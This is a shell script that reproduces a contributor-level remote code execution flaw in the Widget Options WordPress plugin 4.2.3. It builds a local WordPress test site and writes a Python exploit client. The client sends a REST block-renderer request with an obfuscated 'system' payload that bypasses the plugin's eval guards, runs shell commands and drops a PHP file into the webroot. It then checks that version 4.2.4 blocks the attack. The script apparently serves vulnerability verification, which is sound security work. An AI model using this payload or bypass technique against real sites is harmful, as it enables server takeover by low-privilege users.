#!/bin/bash
# =============================================================================
# CVE-2026-54823 - Widget Options <= 4.2.3 - Contributor Remote Code Execution
# Self-contained reproduction.
#
# Surface : api_remote (WordPress REST API block-renderer endpoint)
# Impact  : code_execution (arbitrary server command exec + webroot PHP drop)
# Product : MarketingFire/Widget Options (WordPress plugin)
#
# Root cause (short):
#   widgetopts_safe_eval() in includes/extras.php only short-circuits eval for
#   non-admins inside a *preview* context (widgetopts_is_widget_or_post_preview()
#   checks $_GET['context'] === 'edit' / is_preview() / customizer). The
#   /wp-json/wp/v2/block-renderer/<block> REST endpoint renders user-supplied
#   block attributes server-side with NO save step, so the save-time logic
#   stripper never runs. By sending context=edit in the JSON *body* only (not in
#   the query string) the plugin's $_GET['context'] guard is bypassed and the
#   contributor's Display Logic expression reaches eval().
#
#   The Display Logic blocklist (regex) + token allowlist are bypassed with:
#       $z = 's'.'y'.'s'.'t'.'e'.'m'; ${'z'}('CMD'); return true;
#   - concatenation hides the literal word "system" from the regex blocklist
#   - ${'z'}(...) places a '}' immediately before '(' ; the 4.2.3 token validator
#     only blocks ']' / ')' before '(' (NOT '}'), so it is accepted
#   - the 'return' substring makes the plugin eval the raw multi-statement code
#     instead of wrapping it in return( ... );
#   Net effect: system('CMD') executes as the contributor.
#
#   Fixed in 4.2.4: closed-default trust flag (non-admin => no eval unless
#   DB-backed admin logic), render_block_data sha256 allowlist scoped to the
#   block-renderer route, rest_request_before_callbacks scrub net, and the token
#   validator now also blocks '}' / T_FUNCTION / T_FN before '('.
#
# Exit codes: 0 = vulnerable RCE confirmed AND fixed version blocks it
#             1 = not reproduced / fixed version also vulnerable
# =============================================================================
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
WPROOT="$ROOT/wp"
DBDIR="$ROOT/mysqld"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART" "$WPROOT" "$DBDIR"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
log() { echo "[$(date +%T)] $*" | tee -a "$MAIN_LOG" >&2; }

VULN_VERSION="4.2.3"
FIXED_VERSION="4.2.4"
WP_VERSION="7.0"
SITE_URL=""
MYSQLD_PID=""
PHPSRV_PID=""

kill_pid_hard() {
  local pid="$1"
  [ -z "$pid" ] && return 0
  kill "$pid" 2>/dev/null || true
  for _ in 1 2 3 4 5; do kill -0 "$pid" 2>/dev/null || return 0; sleep 0.3; done
  kill -9 "$pid" 2>/dev/null || true
}
cleanup() {
  [ -n "${PHPSRV_PID:-}" ] && kill_pid_hard "$PHPSRV_PID" 2>/dev/null || true
  [ -n "${MYSQLD_PID:-}" ] && kill_pid_hard "$MYSQLD_PID" 2>/dev/null || true
}
trap cleanup EXIT

# Kill any mariadbd from a previous run that is still bound to our datadir/socket.
kill_stale_db() {
  if [ -f "$DBDIR/mysqld.pid" ]; then
    kill_pid_hard "$(cat "$DBDIR/mysqld.pid" 2>/dev/null)" 2>/dev/null || true
  fi
  local p
  for p in $(pgrep -f "mariadbd.*$DBDIR/data" 2>/dev/null || true); do
    kill_pid_hard "$p" 2>/dev/null || true
  done
  for i in $(seq 1 10); do [ -S "$DBDIR/mysqld.sock" ] || break; sleep 0.5; done
  rm -f "$DBDIR/mysqld.sock" 2>/dev/null || true
}

fail() { log "FAIL: $*"; write_manifest false; exit 1; }

write_manifest() {
  local confirmed="$1" vv="${2:-}" fv="${3:-}"
  local artifacts
  if [ "$confirmed" = "true" ]; then
    artifacts='["logs/exploit_vuln.log","logs/exploit_fixed.log","logs/php-server.err","repro/wo_rce_proof.php","repro/wo_rce_proof.txt"]'
  else
    artifacts='[]'
  fi
  python3 - "$REPRO_DIR/runtime_manifest.json" "$confirmed" "$artifacts" "$vv" "$fv" <<'PY'
import json, sys
path, confirmed, artifacts, vv, fv = sys.argv[1:6]
conf = (confirmed == "true")
m = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "POST /wp-json/wp/v2/block-renderer/<block> (WordPress REST; context=edit in body only, not in query string)",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": conf,
  "runtime_stack": ["mariadb", "wordpress-core", "widget-options-plugin", "php-built-in-server"],
  "proof_artifacts": json.loads(artifacts) if conf else [],
  "notes": ("Contributor RCE confirmed on Widget Options %s via block-renderer Display Logic eval bypass; fixed %s blocks it." % (vv, fv)) if conf else ("Reproduction not confirmed. vuln=%s fixed=%s" % (vv, fv))
}
open(path, "w").write(json.dumps(m, indent=2) + "\n")
PY
}

# ----------------------------------------------------------------------------
log "Phase 0: install dependencies (apt)"
need_pkg() { dpkg -s "$1" >/dev/null 2>&1; }
if ! need_pkg php-cli || ! need_pkg mariadb-server || ! command -v mariadbd >/dev/null 2>&1; then
  sudo apt-get update -qq || true
  sudo apt-get install -y -qq php-cli php-mysql php-xml php-curl php-gd php-mbstring php-zip \
       mariadb-server unzip curl jq python3 ca-certificates 2>&1 | tee -a "$MAIN_LOG" >&2 || true
fi
command -v php    >/dev/null 2>&1 || fail "php not available"
command -v mariadbd >/dev/null 2>&1 || fail "mariadbd not available"
php -m | grep -qi mysqli      || fail "php mysqli extension missing"
php -m | grep -qi 'pdo_mysql' || fail "php pdo_mysql extension missing"
log "Dependencies OK."

# ----------------------------------------------------------------------------
log "Phase 1: start dedicated MariaDB instance"
SOCK="$DBDIR/mysqld.sock"
kill_stale_db
rm -rf "$DBDIR"/* "$DBDIR"/.[!.]* 2>/dev/null || true
mkdir -p "$DBDIR/data"
mariadb-install-db --datadir="$DBDIR/data" --auth-root-authentication-method=normal \
  --user="$(whoami)" >/dev/null 2>&1 || fail "mariadb-install-db failed"
mariadbd --datadir="$DBDIR/data" --socket="$SOCK" --pid-file="$DBDIR/mysqld.pid" \
  --skip-networking --log-error="$DBDIR/mariadbd.err" >/dev/null 2>&1 &
MYSQLD_PID=$!
for i in $(seq 1 40); do [ -S "$SOCK" ] && break; sleep 1; done
[ -S "$SOCK" ] || { tail -20 "$DBDIR/mariadbd.err" 2>/dev/null | tee -a "$MAIN_LOG" >&2; fail "mariadbd did not start"; }
mariadb --socket="$SOCK" -u root -e "CREATE DATABASE IF NOT EXISTS wordpress CHARACTER SET utf8mb4; \
  CREATE USER IF NOT EXISTS 'wpuser'@'localhost' IDENTIFIED BY 'wppass123'; \
  GRANT ALL ON wordpress.* TO 'wpuser'@'localhost'; FLUSH PRIVILEGES;" 2>&1 | tee -a "$MAIN_LOG" >&2 || fail "DB setup failed"
log "MariaDB up (socket=$SOCK)."

# ----------------------------------------------------------------------------
log "Phase 2: download WordPress core, wp-cli, plugin zips"
download() { curl -fsSL -o "$2" "$1" || fail "download failed: $1"; }
[ -f "$ART/wordpress.zip" ] || { download "https://wordpress.org/wordpress-${WP_VERSION}.zip" "$ART/wordpress.zip" \
  || download "https://wordpress.org/latest.zip" "$ART/wordpress.zip"; }
[ -f "$ART/wp-cli.phar" ]   || download "https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar" "$ART/wp-cli.phar"
chmod +x "$ART/wp-cli.phar"
[ -f "$ART/widget-options.${VULN_VERSION}.zip" ]  || download "https://downloads.wordpress.org/plugin/widget-options.${VULN_VERSION}.zip"  "$ART/widget-options.${VULN_VERSION}.zip"
[ -f "$ART/widget-options.${FIXED_VERSION}.zip" ] || download "https://downloads.wordpress.org/plugin/widget-options.${FIXED_VERSION}.zip" "$ART/widget-options.${FIXED_VERSION}.zip"
rm -rf "$ART/wpcore"; mkdir -p "$ART/wpcore"
unzip -q -o "$ART/wordpress.zip" -d "$ART/wpcore" >/dev/null
rm -rf "$WPROOT"/* "$WPROOT"/.[!.]* 2>/dev/null || true
cp -a "$ART/wpcore/wordpress/." "$WPROOT"/
for v in "$VULN_VERSION" "$FIXED_VERSION"; do
  rm -rf "$ART/wo-$v"; mkdir -p "$ART/wo-$v"
  unzip -q -o "$ART/widget-options.${v}.zip" -d "$ART/wo-$v" >/dev/null
done
log "Assets ready."

WPCMD=(php "$ART/wp-cli.phar" --path="$WPROOT" --allow-root)

# ----------------------------------------------------------------------------
log "Phase 3: configure + install WordPress"
PORT=$(python3 -c 'import socket;s=socket.socket();s.bind(("127.0.0.1",0));print(s.getsockname()[1]);s.close()')
SITE_URL="http://127.0.0.1:${PORT}"
"${WPCMD[@]}" config create --dbname=wordpress --dbuser=wpuser --dbpass=wppass123 \
  --dbhost="localhost:${SOCK}" --force --skip-check >/dev/null 2>&1 || fail "wp config create failed"
"${WPCMD[@]}" config set WP_ENVIRONMENT_TYPE "'local'"   --type=constant --raw >/dev/null 2>&1 || true
"${WPCMD[@]}" config set WP_DEBUG true                   --type=constant --raw >/dev/null 2>&1 || true
"${WPCMD[@]}" config set WP_MEMORY_LIMIT "'256M'"        --type=constant --raw >/dev/null 2>&1 || true
"${WPCMD[@]}" config set DISABLE_WP_CRON true            --type=constant --raw >/dev/null 2>&1 || true
"${WPCMD[@]}" core install --url="$SITE_URL" --title="WOTEST" --admin_user=admin \
  --admin_password=adminpass123 --admin_email=admin@example.test --skip-email >/dev/null 2>&1 || fail "wp core install failed"
"${WPCMD[@]}" rewrite structure '/%postname%/' >/dev/null 2>&1 || true
"${WPCMD[@]}" rewrite flush >/dev/null 2>&1 || true
log "WordPress installed at $SITE_URL"

# router so /wp-json/* and pretty permalinks route to WordPress on php -S
cat > "$WPROOT/.router.php" <<'PHPR'
<?php
$root = __DIR__;
$uri  = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
if ($uri !== '/' && file_exists($root . $uri) && is_file($root . $uri)) { return false; }
define('WP_USE_THEMES', true);
require $root . '/wp-blog-header.php';
PHPR

# install a given plugin version, activate, enable Display Logic module, ensure
# contributor exists, create a fresh application password (printed on stdout).
setup_plugin() {
  local v="$1"
  "${WPCMD[@]}" plugin deactivate widget-options >/dev/null 2>&1 || true
  "${WPCMD[@]}" plugin uninstall widget-options >/dev/null 2>&1 || true
  rm -rf "$WPROOT/wp-content/plugins/widget-options"
  cp -a "$ART/wo-${v}/widget-options" "$WPROOT/wp-content/plugins/widget-options"
  "${WPCMD[@]}" plugin activate widget-options >/dev/null 2>&1 || fail "activate plugin $v failed"
  "${WPCMD[@]}" eval 'widgetopts_update_option("logic", "activate");' >/dev/null 2>&1 || true
  "${WPCMD[@]}" user create contributor contrib@example.test --role=contributor \
    --user_pass=contribpass123 >/dev/null 2>&1 || "${WPCMD[@]}" user update contributor --user_pass=contribpass123 >/dev/null 2>&1 || true
  "${WPCMD[@]}" user application-password list contributor --format=ids 2>/dev/null | while read -r uuid; do
    [ -n "$uuid" ] && "${WPCMD[@]}" user application-password delete contributor "$uuid" --yes >/dev/null 2>&1 || true
  done
  "${WPCMD[@]}" user application-password create contributor repro --porcelain 2>/dev/null | tail -1
}

start_server() {
  php -S "127.0.0.1:${PORT}" -t "$WPROOT" "$WPROOT/.router.php" \
    -d display_errors=stderr -d error_log="$LOGS/php-server.err" >/dev/null 2>&1 &
  PHPSRV_PID=$!
  local code=""
  for i in $(seq 1 40); do
    code=$(curl -s -o /dev/null -w "%{http_code}" "$SITE_URL/wp-json/" 2>/dev/null || true)
    [ "$code" = "200" ] && break
    sleep 1
  done
  [ "$code" = "200" ] || fail "WP REST did not come up (last code=$code)"
  log "PHP server up (pid=$PHPSRV_PID); REST healthcheck OK (HTTP $code)."
}
stop_server() {
  [ -n "${PHPSRV_PID:-}" ] && kill "$PHPSRV_PID" 2>/dev/null || true
  PHPSRV_PID=""
  sleep 1
}

# ----------------------------------------------------------------------------
log "Phase 4: write exploit client"
cat > "$REPRO_DIR/exploit_request.py" <<'PYEXP'
#!/usr/bin/env python3
import json, os, urllib.request, urllib.error, base64
SITE    = os.environ["WO_SITE"]
WEBROOT = os.environ["WO_WEBROOT"]
USER    = os.environ["WO_USER"]
PASS    = os.environ["WO_PASS"]
BLOCK   = os.environ.get("WO_BLOCK", "core/archives")
proof_php = os.path.join(WEBROOT, "wp-content", "wo_rce_proof.php")
proof_txt = "/tmp/wo_rce_proof.txt"
for p in (proof_php, proof_txt):
    try: os.remove(p)
    except OSError: pass
cmd = ('echo "<?php echo 7*6;" > {php}; echo PRUVA_RCE > {txt}; id >> {txt}').format(php=proof_php, txt=proof_txt)
payload = ("$z = 's'.'y'.'s'.'t'.'e'.'m'; "
           "${{'z'}}('{cmd}'); return true;").format(cmd=cmd)
body = {"attributes": {"extended_widget_opts_block": {"class": {"logic": payload}}}, "context": "edit"}
data = json.dumps(body).encode()
url  = SITE + "/wp-json/wp/v2/block-renderer/" + BLOCK
auth = base64.b64encode(f"{USER}:{PASS}".encode()).decode()
req  = urllib.request.Request(url, data=data, method="POST",
       headers={"Content-Type": "application/json", "Authorization": "Basic " + auth})
print("POST", url, "(context=edit in BODY, none in query string)")
try:
    with urllib.request.urlopen(req, timeout=30) as r:
        print("HTTP", r.status); print(r.read().decode(errors="replace")[:400]); code = r.status
except urllib.error.HTTPError as e:
    print("HTTP", e.code); print(e.read().decode(errors="replace")[:400]); code = e.code
print("PHP_PROOF_EXISTS", os.path.exists(proof_php))
print("TMP_PROOF_EXISTS", os.path.exists(proof_txt))
if os.path.exists(proof_txt):
    print("TMP_PROOF_CONTENT>>"); print(open(proof_txt).read(), end=""); print("<<TMP_PROOF_CONTENT")
PYEXP
log "Exploit client written."

run_exploit() {
  local lf="$1"; : > "$lf"
  WO_SITE="$SITE_URL" WO_WEBROOT="$WPROOT" WO_USER="contributor" \
    WO_PASS="$APPPASS" WO_BLOCK="core/archives" \
    python3 "$REPRO_DIR/exploit_request.py" 2>&1 | tee -a "$lf" >&2 || true
}

# ----------------------------------------------------------------------------
log "Phase 5: VULNERABLE run (plugin $VULN_VERSION)"
APPPASS=$(setup_plugin "$VULN_VERSION")
[ -n "$APPPASS" ] || fail "could not create contributor app password (vuln)"
log "Contributor app password created for $VULN_VERSION."
rm -f "$WPROOT/wp-content/wo_rce_proof.php" /tmp/wo_rce_proof.txt
start_server
run_exploit "$LOGS/exploit_vuln.log"
VULN_PHP=$(curl -s "$SITE_URL/wp-content/wo_rce_proof.php" 2>/dev/null || true)
VULN_TMP=$([ -f /tmp/wo_rce_proof.txt ] && echo yes || echo no)
log "VULN result: php_proof_http=[$VULN_PHP] tmp_proof=$VULN_TMP"
stop_server
VULN_RCE=false
if [ "$VULN_PHP" = "42" ] && [ "$VULN_TMP" = "yes" ]; then
  VULN_RCE=true
  cp -f "$WPROOT/wp-content/wo_rce_proof.php" "$REPRO_DIR/wo_rce_proof.php" 2>/dev/null || true
  cp -f /tmp/wo_rce_proof.txt "$REPRO_DIR/wo_rce_proof.txt" 2>/dev/null || true
fi

# ----------------------------------------------------------------------------
log "Phase 6: FIXED negative control (plugin $FIXED_VERSION) -- fresh server"
APPPASS=$(setup_plugin "$FIXED_VERSION")
[ -n "$APPPASS" ] || fail "could not create contributor app password (fixed)"
rm -f "$WPROOT/wp-content/wo_rce_proof.php" /tmp/wo_rce_proof.txt
start_server
run_exploit "$LOGS/exploit_fixed.log"
FIX_PHP=$([ -f "$WPROOT/wp-content/wo_rce_proof.php" ] && echo yes || echo no)
FIX_TMP=$([ -f /tmp/wo_rce_proof.txt ] && echo yes || echo no)
log "FIXED result: php_proof=$FIX_PHP tmp_proof=$FIX_TMP"
stop_server

# ----------------------------------------------------------------------------
log "Phase 7: verdict"
FIXED_BLOCKED=false
[ "$FIX_PHP" = "no" ] && [ "$FIX_TMP" = "no" ] && FIXED_BLOCKED=true
log "VULN_RCE=$VULN_RCE  FIXED_BLOCKED=$FIXED_BLOCKED"

if [ "$VULN_RCE" = "true" ] && [ "$FIXED_BLOCKED" = "true" ]; then
  log "CONFIRMED: Contributor RCE on Widget Options $VULN_VERSION; fixed $FIXED_VERSION blocks it."
  write_manifest true "$VULN_VERSION" "$FIXED_VERSION"
  exit 0
else
  log "NOT CONFIRMED as expected (vuln=$VULN_RCE, fixed_php=$FIX_PHP, fixed_tmp=$FIX_TMP)."
  write_manifest false "$VULN_VERSION" "$FIXED_VERSION"
  exit 1
fi
